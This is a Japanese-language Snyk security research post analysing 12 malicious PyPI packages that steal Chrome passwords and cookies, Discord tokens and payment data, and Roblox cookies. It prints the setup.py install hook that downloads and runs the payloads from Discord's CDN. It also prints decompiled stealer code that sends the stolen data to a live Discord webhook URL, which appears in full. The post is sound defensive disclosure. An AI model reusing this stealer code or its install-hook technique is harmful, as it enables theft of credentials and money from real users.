Snyk、Discord と Roblox の認証情報と支払い情報を盗み出す PyPi マルウェアを発見
Kyle Suero
2022年8月16日
0 分で読めますSnyk のセキュリティリサーチャーは、オープンソースのエコシステムに悪意のあるパッケージがないか常にモニタリングし、静的解析技術を利用して不審なパッケージを検出し、警告しています。悪意のあるパッケージは、パッケージマネージャーへの公開時に識別され、速やかに Snyk 脆弱性データベースに追加されます。最近の調査では同一のハッカーによる 12 種類のマルウェアが発見されています。これらの悪意のあるパッケージは、Windows マシンに侵入し、非常に人気のあるオンラインチャットアプリケーション、Discordのコンテンツ配信ネットワーク (CDN) からダウンロードされた悪意のある実行ファイルをホスト上で実行して、検出を回避しようとします。
これらのパッケージでは、PyInstaller により、悪意のあるアプリケーションと依存関係が 1 つのパッケージにバンドルされています。ここで PyInstaller を使用する目的は、依存関係をリモートサーバーからホストにダウンロードする代わりに、バンドルすることで検出されないようにすること、またインタープリターなしですぐに実行できる実行ファイルを提供することの 2 点です。
このマルウェアは、日常的なユーザーアプリケーションのために保存されているデータを標的にしています。実行する際に Google Chrome のデータ (パスワード、Cookie、ウェブ履歴、検索履歴、ブックマーク) を盗もうとします。このデータは、悪意のあるハッカーが共通して狙う標的となっています。このデータを使用して、提供された認証情報を使うと、アカウント全体を操作できるようになるからです。
人気のオンラインチャットアプリケーション、Discord も標的の 1 つです。このマルウェアは、Discord トークンを流出させ、その過程で持続的な悪意のあるエージェントを侵入させます。Discord Injector と呼ばれるこの悪性コードは、ハッカーに驚くべき量の情報を中継します。認証情報が共有されるだけでなく、インジェクターが読み込まれた後に入力したクレジットカード情報もスキミングされるのです。
このマルウェアについてもう 1 つ興味深い点として、実際に Discord のリソースを使用して実行ファイルを配布していることが挙げられます。このやり方は新しいものではないとはいえ、cdn.discord.com
が当社のセキュリティリサーチャーのヒントになりました。バイナリは Discord CDN 経由でホストにプルダウンされます。
一例として、cyphers
パッケージを取り上げ、その構造と動作モードを詳しく見ていきましょう。マルウェアは 2 つの実行ファイルで構成されます。
ZYXMN.exe
- は、Discord の個人情報を収集し、ブラウザーの認証情報や機密情報を流出させ、アプリ自体に Discord のマルウェアを注入する役割を担っています。ZYRBX.exe
- は、Roblox の Cookie やユーザーデータを盗み出す役割を担っています。
パッケージ事例: cyphers
パッケージの tarball をダウンロードして展開した後、まず setup.py
ファイルに異常な機能があることを確認しました (一部省略しています)。
1url = 'https://cdn.discordapp.com/attachments/1003368479442874518/1003368774335991898/ZYXMN.exe'
2url2 = 'https://cdn.discordapp.com/attachments/1003368479442874518/1003368773983682592/ZYRBX.exe'
3
4os.remove(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe")
5os.remove(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
6
7r = requests.get(url, allow_redirects=True)
8r2 = requests.get(url2, allow_redirects=True)
9open('ZYXMN.exe', 'wb').write(r.content)
10Path(r"ZYXMN.exe").rename(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe")
11open('ZYRBX.exe', 'wb').write(r2.content)
12Path(r"ZYRBX.exe").rename(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
13os.remove('ZYRBX.exe')
14os.remove('ZYXMN.exe')
15
16os.startfile(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe") os.startfile(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
17
18shutil.rmtree(r"C:\$Windows.~SXK")
Discord の CDN サーバー から ZYXMN.exe
と ZYRBX.exe
という 2 つのバイナリをダウンロードし、任意の Windows 実行ファイルとしてマスキングし、最終的に起動しようとしていることがわかります。実行後、ファイルはファイルシステムから削除され、痕跡は消去されます。
これらの実行ファイルが何をするものなのか、確認してみましょう。
ZYXMN.exe
バイナリに対して binwalk
と strings
を実行した結果、PyInstaller で作成されていることがわかりました。これは、ランタイムの依存関係も含めて、python アプリケーション全体を OS に基づく単一の実行ファイルにバンドルするライブラリです。
これらのアーカイブは、extremecoders-re/pyinstxtractor を使用して抽出できます。ファイルをリストアップしたところ、ZYXMN.pyc
というコンパイル済みの Python バイトコードが確認され、これがアプリケーションのエントリポイントになっていることがわかりました。rocky/python-uncompyle6 で逆コンパイルすると、悪意のあるパッケージの隠された仕組みが明らかになりました。
main()
1def main() -> None:
2 webhook = 'https://discord.com/api/webhooks/1003603061530431539/mAOhFLrtafsu1jC3G1_nRR5by1zBTtd4xxdxZPVFkOlCUqMeze6TcUQ3zbR9zVsvG5-m'
3 pingmsg = 'soulcord run da wrld'
4 greenhillzone = {'content': f"@everyone {pingmsg}"}
5 requests.post(webhook, json=greenhillzone)
6 debug()
7 threads = []
8 for operation in (
9 discord, google, injection):
10 thread = Thread(target=operation, args=(webhook,))
11 thread.start()
12 threads.append(thread)
13 else:
14 for thread in threads:
15 thread.join()
16 else:
17 system(webhook)
main 関数は、基本的に 3 つの「操作」 (スレッド) を実行し、それぞれがペイロードの異なる部分を実行することを目的としています。これらはすべて、webhook
の引数を受け取り、操作結果を漏洩させます。これも Discord の URL (discord.com
) で動作していることがわかります。
1class google:
2 def __init__(self, webhook: str) -> None:
3 webhook = Webhook.from_url(webhook, adapter=(RequestsWebhookAdapter()))
4 self.appdata = os.getenv('LOCALAPPDATA')
5 self.databases = {
6 self.appdata + '\\Google\\Chrome\\User Data\\Default',
7 self.appdata + '\\Google\\Chrome\\User Data\\Profile 1',
8 self.appdata + '\\Google\\Chrome\\User Data\\Profile 2',
9 self.appdata + '\\Google\\Chrome\\User Data\\Profile 3',
10 self.appdata + '\\Google\\Chrome\\User Data\\Profile 4',
11 self.appdata + '\\Google\\Chrome\\User Data\\Profile 5'}
12 self.masterkey = self.get_master_key(self.appdata + '\\Google\\Chrome\\User Data\\Local State')
13 self.files = [
14 '.\\nrozi3tvz1x7df3I-p.txt',
15 '.\\JN6Kq3DLrH6eJ8px-c.txt',
16 '.\\MVvztUI6Dyc1iHIB-wh.txt',
17 '.\\jDW68AZgMg9PUg1O-h.txt',
18 '.\\elr6GRUCz1eKhT0q-b.txt']
19 self.password()
20 self.cookies()
21 self.web_history()
22 self.search_history()
23 for file in self.files:
24 if not os.path.isfile(file):
25 pass
26 elif os.path.getsize(file) > 8000000:
27 pass
28 else:
29 webhook.send(file=(File(file)), username='Empyrean', avatar_url='https://i.imgur.com/HjzfjfR.png')
30 else:
31 for file in self.files:
32 if os.path.isfile(file):
33 os.remove(file)
このマルウェアは、Google Chrome のマスターキーを解読し、ローカルのブラウザーデータベースにアクセスし、ユーザーの以下のプライベートデータを漏洩させようとします。
Cookie
ウェブ履歴
検索履歴
インジェクション
1def __init__(self, webhook: str):
2 self.appdata = os.getenv('LOCALAPPDATA')
3 self.discord_dirs = [
4 self.appdata + '\\Discord',
5 self.appdata + '\\DiscordCanary',
6 self.appdata + '\\DiscordPTB',
7 self.appdata + '\\DiscordDevelopment']
8 self.code = "\n\t\tconst _0x25b1bd=_0x16c5;..."
9 for dir in self.discord_dirs:
10 if not os.path.exists(dir):
11 pass
12 elif self.get_core(dir) is not None:
13 with open((self.get_core(dir)[0] + '\\index.js'), 'w', encoding='utf-8') as (f):
14 f.write(self.code.replace('discord_desktop_core-1', self.get_core(dir)[1]).replace('%WEBHOOK%', webhook))
15 self.start_discord(dir)
このコードは、self.code
プロパティに含まれる内容で discord_desktop_core
ディレクトリに index.js
というファイルを作成し、Discord アプリケーションを実行しようとするものです。これにより、アプリのコンテキスト内でスクリプトを実行できるようになります。
この文字列をファイルにダンプして内容を分析したところ、Rdimo/Discord-Injection リポジトリから取得したものであり、Discord ユーザーから個人情報を収集するために使用される悪意のあるスクリプトが含まれていることがわかりました。
ZYRBX.exe
このバイナリの Python ソースコードを抽出する際も、前回のバイナリと同じ手順で行いました。この悪性コードは、さまざまな種類のブラウザーで以下コードブロックを実行します。
1url = 'https://discord.com/api/webhooks/1003603061530431539/mAOhFLrtafsu1jC3G1_nRR5by1zBTtd4xxdxZPVFkOlCUqMeze6TcUQ3zbR9zVsvG5-m'
2 site = 'roblox.com'
3 if site == 'roblox.com':
4 try:
5 cookiesall = browser_cookie3.edge(domain_name=site)
6 cookiesall = str(cookiesall)
7 roblosec = cookiesall.split('.ROBLOSECURITY=')[1].split(' for .roblox.com/>')[0].strip()
8 req = requests.Session()
9 req.cookies['.ROBLOSECURITY'] = roblosec
10 user = req.get('https://www.roblox.com/mobileapi/userinfo').json()['UserName']
11 ID = req.get('https://www.roblox.com/mobileapi/userinfo').json()['UserID']
12 robux = req.get('https://www.roblox.com/mobileapi/userinfo').json()['RobuxBalance']
13 Avatar = req.get('https://www.roblox.com/mobileapi/userinfo').json()['ThumbnailUrl']
14 prem = req.get('https://www.roblox.com/mobileapi/userinfo').json()['IsPremium']
15 embed = {'title':'Cookie Found',
16 'description':f"**Cookie Source:**\n\t\t\t\t\t\t<:edge:917804139860361216> Microsoft Edge\n\n\t\t\t\t\t\t**Cookie:**\n\t\t\t\t\t\t```{roblosec}```",
17 'color':0,
18 'thumbnail':{'url': Avatar}}
19 data = {'embeds': [embed]}
20 requests.post(url, json=data)
21 embed2 = {'title':'Cookie Information',
22 'description':f"**Username:** ``{user}``\n\t\t\t\t\t\t**Robux Balance:** ``{robux}``\n\t\t\t\t\t\t**User ID:** ``{ID}``\n\t\t\t\t\t\t**Premium:** ``{prem}``\n\t\t\t\t\t\t**Profile Link:** ``https://www.roblox.com/users/{ID}/profile``",
23 'color':0,
24 'thumbnail':{'url': Avatar}}
25 data2 = {'embeds': [embed2]}
26 requests.post(url, json=data2)
このコードは、オンラインゲームプラットフォーム「Roblox」の .ROBLOSECURITY
Cookie を盗み、ユーザー名、ID、Robux 残高 (Roblox 独自のゲーム内通貨)、サムネイル、プレミアムユーザーかどうかといったユーザーの詳細とともに、Discord Webhook に送信します。対象となるブラウザーは、Microsoft Edge、Google Chrome、Chromium、Firefox、Opera です。
調査のまとめ
同じハッカーによる悪意のあるパッケージは、合計 12 種類が確認されています。
パッケージ名 | バージョン | 説明 | 悪意のある実行ファイル | アップロード日時 |
---|---|---|---|---|
hackerfilelol | 0.0.1 | これがプロハッカーモジュール gang です | \*Main.exe | 2022 年 7 月 31 日 16:23 |
hackerfileloll | 0.0.1 | これがプロハッカーモジュール gang です | \*Main.exe | 2022 年 7 月 31 日 16:27 |
stealthpy | 0.0.1 | gang | ZYXM.exe、ZYRBX.exe | 2022 年 7 月 31 日 18:32 |
plutos | 0.0.1 | 複数のスレッドを同時に効率よく管理する基本的なモジュールです。モジュールについての詳細はお問い合わせください。 | ZYXM.exe、ZYRBX.exe | 2022 年 7 月 31 日 21:01 |
testpipper | 0.0.1 | 複数のスレッドを同時に効率よく管理する基本的なモジュールです。モジュールについての詳細はお問い合わせください。 | ZYXM.exe、ZYRBX.exe | 2022 年 8 月 1 日 11:27 |
testpipperz | 0.0.1 | 複数のスレッドを同時に効率よく管理する基本的なモジュールです。モジュールについての詳細はお問い合わせください。 | ZYXM.exe、ZYRBX.exe | 2022 年 8 月 1 日 11:33 |
pippytest | 0.0.1 | 複数のスレッドを同時に効率よく管理する基本的なモジュールです。モジュールについての詳細はお問い合わせください。 | ZYXM.exe、ZYRBX.exe | 2022 年 8 月 1 日 11:35 |
pippytests | 0.0.1 | 複数のスレッドを同時に効率よく管理する基本的なモジュールです。 | ZYXM.exe、ZYRBX.exe | 2022 年 8 月 1 日 12:16 |
cyphers | 0.0.1 | 複数のスレッドを同時に効率よく管理する基本的なモジュールです。モジュールについての詳細はお問い合わせください。 | ZYXM.exe、ZYRBX.exe | 2022 年 8 月 1 日 12:27 |
rblxtools | 0.0.1 | roblox の各種ツールを簡単に使用できるようにする基本モジュールで、主にリクエストライブラリをベースにしています。モジュールについての詳細はお問い合わせください。 | ZYXM.exe、ZYRBX.exe | 2022 年 8 月 1 日 19:14 |
rbxtools | 0.0.1 | roblox の各種ツールを簡単に使用できるようにする基本モジュールで、主にリクエストライブラリをベースにしています。モジュールについての詳細はお問い合わせください。 | ZYXM.exe、ZYRBX.exe | 2022 年 8 月 1 日 19:22 |
rbxtool | 0.0.1 | roblox の各種ツールを簡単に使用できるようにする基本モジュールで、主にリクエストライブラリをベースにしています。モジュールについての詳細はお問い合わせください。 \*Main.exe ( | ZYXM.exe、ZYRBX.exe | 2022 年 8 月 1 日 19:26 |
Snyk セキュリティリサーチチームは、高度な技術を駆使して、さまざまなパッケージのエコシステムにおける不審な活動を識別できるようモニタリングしており、パッケージ発行元、コミュニティ、ユーザーにいち早く通知するよう最善を尽くしています。また、オープンソースソフトウェアやテクノロジーのセキュリティを可能な限り高めることができると考えています。
今すぐ Snyk の無料アカウントを取得して、最先端の調査結果を活用しましょう。業界最先端のセキュリティインテリジェンスを提供する Snyk は、オープンソースの依存関係、プロプライエタリコード、ベースイメージ、クラウドインフラの脆弱性を検出し、実行可能な対策アドバイス (ワンクリックの修正 PR を含む) を提供することで、セキュリティを確保しつつ、スピーディーな開発を可能にしています。